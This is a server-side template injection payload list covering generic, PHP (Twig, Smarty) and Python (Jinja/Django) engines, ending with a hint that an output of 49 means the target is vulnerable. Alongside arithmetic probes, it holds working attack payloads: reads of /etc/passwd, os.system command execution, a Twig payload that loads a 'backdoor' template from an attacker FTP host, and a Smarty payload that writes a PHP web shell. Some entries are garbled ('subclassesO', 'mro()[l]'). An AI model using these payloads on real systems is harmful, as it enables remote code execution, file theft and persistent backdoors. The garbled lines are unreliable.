SSTI (Server-Side Template Injection)

Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}

PHP 
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

SSTI (Server Side Template Injection) Payload List

🔹{7*7}
🔹*{7*7}
🔹{{7*7}}
🔹[[7*7]]
🔹${7*7}
🔹@(7*7)
🔹<?=7*7?>
🔹<%= 7*7 %>
🔹${= 7*7}
🔹{{= 7*7}}
🔹${{7*7}}
🔹#{7*7}
🔹[=7*7]

If evaluated as 49 - the target is vulnerable